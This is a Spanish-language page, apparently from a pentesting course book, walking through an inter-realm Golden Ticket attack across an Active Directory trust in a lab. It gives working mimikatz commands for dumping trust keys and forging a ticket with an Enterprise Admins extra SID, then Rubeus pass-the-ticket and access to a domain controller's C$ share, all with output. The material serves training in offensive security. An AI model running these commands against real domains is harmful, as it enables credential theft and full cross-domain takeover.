> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpad/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpad/persistencia-y-post-explotacion-en-ad/golden-ticket/variantes-del-golden-ticket/golden-ticket-inter-realm-tgt.md).

# Golden Ticket Inter-realm TGT

Un Golden Ticket Inter-realm TGT es un TGT falsificado que se usa para acceder a recursos en un dominio de AD diferente al del atacante, aprovechando una relación de confianza entre dominios. El ataque implica los siguientes pasos:

1. <mark style="color:red;">**Compromiso del Dominio de Origen**</mark><mark style="color:red;">:</mark> El atacante debe tener control sobre el dominio de origen, específicamente acceso a la cuenta krbtgt, que es fundamental para la emisión de TGTs en Kerberos.
2. <mark style="color:red;">**Creación de un Golden Ticket**</mark><mark style="color:red;">:</mark> Utilizando herramientas como Mimikatz, el atacante crea un Golden Ticket. Este ticket es esencialmente una representación autenticada de un usuario (generalmente con privilegios elevados) en el dominio de origen.
3. <mark style="color:red;">**Inter-realm TGT**</mark><mark style="color:red;">:</mark> A diferencia de un Golden Ticket estándar que solo funciona dentro de un dominio, el Inter-realm TGT se crea para ser utilizado en un dominio de destino confiable. El atacante necesita conocer el SID (Security Identifier) del dominio de destino y posiblemente otros detalles para crear un TGT válido en el contexto del dominio de destino.
4. <mark style="color:red;">**Acceso a Recursos en el Dominio de Destino**</mark><mark style="color:red;">:</mark> Con el Golden Ticket Inter-realm, el atacante puede acceder a recursos y servicios en el dominio de destino, como si fuera un usuario autenticado y autorizado en ese dominio.

Consideremos un escenario donde un atacante ha comprometido el dominio `SPARTANCYBERSEC.CORP` y desea acceder al dominio confiable `VIKINGSCYBERSEC.CORP`. A continuación, se detalla el proceso utilizando `mimikatz` y `Rubeus`, herramientas comúnmente utilizadas en pentesting de Active Directory.

<mark style="color:red;">**Extracción de la Clave Secreta del Dominio**</mark><mark style="color:red;">:</mark> Primero, el atacante utiliza `mimikatz` para extraer las claves secretas (hashes) de la cuenta krbtgt del dominio objetivo. El comando `lsadump::trust /patch` revela la información necesaria, incluyendo los hashes de diferentes algoritmos de cifrado como AES y RC4.

```bash
mimikatz # lsadump::trust /patch
Current domain: SPARTANCYBERSEC.CORP (SPARTANCYBERSEC / S-1-5-21-1861162130-2580302541-221646211)
Domain: VIKINGSCYBERSEC.CORP (VIKINGSCYBERSEC / S-1-5-21-3191546187-884582097-4033286759)
 [  In ] SPARTANCYBERSEC.CORP -> VIKINGSCYBERSEC.CORP
    * 11/7/2023 1:14:48 AM - CLEAR   - 43 73 ea 53 e6 d1 16 58 0d ba 22 b7 3e b4 3f da c8 7a a2 60 bc 7d e8 2f 36 da 02 58 bf 89 0d ec b2 15 e3 9e 04 be 96 9f 2d e3 00 13 0f 1c 50 16 e9 db bd 8f 61 0f 3a 69 cd df 66 09 3d e3 b7 8c cb db 47 09 e0 8b 00 4d 1e 58 6a 88 15 66 ba 12 6a e0 e1 77 8f 1e 49 53 3f 6c 7b d0 56 8a 3e b9 60 79 58 d2 4d 47 f3 e3 7a 7f 41 b3 7f d7 cc fd 26 16 47 c5 76 f6 5d 61 10 58 c3 29 5d ae 46 a5 93 98 f0 c0 b5 81 5d 72 5e b0 f4 49 15 e1 57 be c1 f2 0f 71 07 4b 31 b1 cb 28 75 70 b0 a4 6d 37 e0 9d 68 19 b3 3c 9b 7c 76 b3 ad 5c b8 62 da 2f 90 e6 50 37 df 07 3a 62 28 6e ba c6 12 72 3b 69 d4 44 d2 8d 9c 64 f0 19 40 1d fb eb 7c 9a d5 33 1f 72 bf bb 0f 77 48 0b ba 7f 96 47 0d 54 9e d9 46 d4 ab e6 86 83 52 84 8a e4 87 fc 31 c3 df de
        * aes256_hmac       47cc817e5fe18de708f9de4b331dfba5df658691752ddd8ae10bb3d4264fd9ad
        * aes128_hmac       648410cef621e5f0c05336786a3290ca
        * rc4_hmac_nt       a9e60b71ecaab835b49ec6a56ca99af5
```

<mark style="color:red;">**Creación del Golden Ticket**</mark><mark style="color:red;">:</mark> Utilizando la clave secreta extraída (RC4\_HMAC hash) y el SID del dominio `SPARTANCYBERSEC.CORP`, el atacante crea un Golden Ticket para el dominio `VIKINGSCYBERSEC.CORP`. Este tique le otorga al atacante los mismos privilegios que tendría un administrador del dominio.

{% code overflow="wrap" %}

```bash
mimikatz # kerberos::golden /domain:spartancybersec.corp /sid:S-1-5-21-1861162130-2580302541-221646211 /sids:S-1-5-21-3191546187-884582097-4033286759-519 /rc4:a9e60b71ecaab835b49ec6a56ca99af5 /user:Administrator /service:krbtgt /target:vikingscybersec.corp /ticket:ticketpremium.kirbi
User      : Administrator
Domain    : spartancybersec.corp (SPARTANCYBERSEC)
SID       : S-1-5-21-1861162130-2580302541-221646211
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3191546187-884582097-4033286759-519 ;
ServiceKey: a9e60b71ecaab835b49ec6a56ca99af5 - rc4_hmac_nt
Service   : krbtgt
Target    : vikingscybersec.corp
Lifetime  : 11/24/2023 4:26:16 AM ; 11/21/2033 4:26:16 AM ; 11/21/2033 4:26:16 AM
-> Ticket : ticketpremium.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz # exit
Bye!
```

{% endcode %}

<mark style="color:red;">**Importación y Uso del Tique**</mark><mark style="color:red;">:</mark> A través de `Rubeus`, una herramienta complementaria a `mimikatz` para operaciones con tiques Kerberos, el atacante importa el Golden Ticket y solicita un tique de servicio (TGS) para el recurso deseado en el dominio `VIKINGSCYBERSEC.CORP`.

{% code overflow="wrap" %}

```powershell
PS C:\Users\Public\CPAD\CPAD-TOOLS> .\Rubeus.exe asktgs /ticket:ticketpremium.kirbi /service:CIFS/second-dc.vikingscybersec.corp /dc:second-dc.vikingscybersec.corp /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/second-dc.vikingscybersec.corp'
[*] Using domain controller: second-dc.vikingscybersec.corp (10.0.2.100)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIE7zCCBOugAwIBBaEDAgEWooIDzDCCA8hhggPEMIIDwKADAgEFoRYbFFZJS0lOR1NDWUJFUlNFQy5DlCRVJTRUMuQ09SUKkxMC+gAwIBAqEoMCYbBENJRlMbHnNlY29uZC1kYy52aWtpbmdzY3liZXJzZWMuY29ycA==

  ServiceName              :  CIFS/second-dc.vikingscybersec.corp
  ServiceRealm             :  VIKINGSCYBERSEC.CORP
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  spartancybersec.corp
  StartTime                :  11/24/2023 4:26:23 AM
  EndTime                  :  11/24/2023 2:26:23 PM
  RenewTill                :  12/1/2023 4:26:23 AM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  gudsaHfe+qa4JArQUynDy72mmNM4Yqf94vCqbBBIipo=
```

{% endcode %}

Despues de lo anterior, tendriamos un ticket que puede ser revisado con:

```powershell
PS C:\Users\Public\CPAD\CPAD-TOOLS> klist
Current LogonId is 0:0x355e7
Cached Tickets: (1)

#0>     Client: Administrator @ spartancybersec.corp
        Server: CIFS/second-dc.vikingscybersec.corp @ VIKINGSCYBERSEC.CORP
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 11/24/2023 4:26:23 (local)
        End Time:   11/24/2023 14:26:23 (local)
        Renew Time: 12/1/2023 4:26:23 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
```

<mark style="color:red;">**Acceso a Recursos**</mark><mark style="color:red;">:</mark> Una vez obtenido el TGS, el atacante puede acceder a recursos específicos en el dominio objetivo, en este caso, visualizando los directorios compartidos en `\\second-dc.vikingscybersec.corp\c$`.

Por lo anterior, se procede a ejecutar el siguiente comando:

```powershell
PS C:\Users\Public\CPAD\CPAD-TOOLS> dir \\second-dc.vikingscybersec.corp\c$\

    Directory: \\second-dc.vikingscybersec.corp\c$
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/14/2018   6:56 AM                EFI
d-----       11/21/2023   1:14 AM                NTDS
d-----        5/13/2020   5:58 PM                PerfLogs
d-r---        9/19/2022  11:23 PM                Program Files
d-----        9/19/2022  11:42 PM                Program Files (x86)
d-r---        11/7/2023   1:09 AM                Users
d-----        9/19/2022  11:32 PM                Windows
```
